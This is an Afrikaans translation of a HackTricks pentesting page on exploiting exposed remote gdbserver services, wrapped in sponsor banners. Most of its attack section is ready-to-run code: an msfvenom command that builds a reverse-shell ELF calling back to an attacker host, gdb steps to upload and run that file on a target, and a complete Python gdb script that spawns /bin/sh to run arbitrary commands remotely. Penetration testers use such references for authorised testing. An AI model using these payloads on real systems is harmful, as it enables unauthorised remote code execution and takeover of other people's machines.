hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

# Pentesting Remote GdbServer

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<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>

**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

## **Basiese Inligting**

**gdbserver** is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit hardloop langs die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling maak dit vir die **GNU Foutopspoorger** moontlik om vanaf 'n ander masjien, die "gasheer," waar die bronkode en 'n binêre kopie van die foutopgespoorde program gestoor word, te koppel. Die verbinding tussen **gdbserver** en die foutopspoorger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporingsopstelling moontlik maak.

Jy kan 'n **gdbserver laat luister op enige poort** en op hierdie oomblik **is nmap nie in staat om die diens te herken nie**.

## Uitbuiting

### Oplaai en Uitvoer

Jy kan maklik 'n **elf agterdeur met msfvenom** skep, dit oplaai en uitvoer:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### Voer willekeurige bevele uit

Daar is 'n ander manier om die debugger willekeurige bevele te laat uitvoer deur 'n [python aangepaste skrip geneem van hier](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
Eerstens **skep plaaslik hierdie skripsie**:

{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```
{% endcode %}

<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>

**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat klap, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>